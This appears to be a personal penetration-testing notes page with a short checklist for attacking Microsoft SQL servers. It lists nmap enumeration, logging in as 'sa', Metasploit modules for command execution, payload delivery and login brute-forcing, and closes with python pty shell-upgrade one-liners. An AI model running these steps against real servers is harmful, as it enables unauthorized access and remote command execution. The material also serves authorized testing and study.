akde/infosec

Information security is ultimately about managing risk


Enumeration

Mandatory

  1. Deter­mine ver­sion:
    nmap -p 445 --script ms-sql-info $target
  2. If cre­den­tials are known:
    1. Try to con­nect to the DB (alter­na­tive: Intel­liJ, …):
      sqsh -U sa -P $password -S $target:1433
    2. Try to exe­cute com­mands:
      msf> use auxiliary/admin/mssql/mssql_exec
      msf> use windows/mssql/mssql_payload
      1. If mssql_exec does­n’t work, take care of domain/username and powershell.exe ‑com­mand type system.

Optional

  • Brute-force login (e.g. with msf> use scanner/mssql/mssql_login).

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';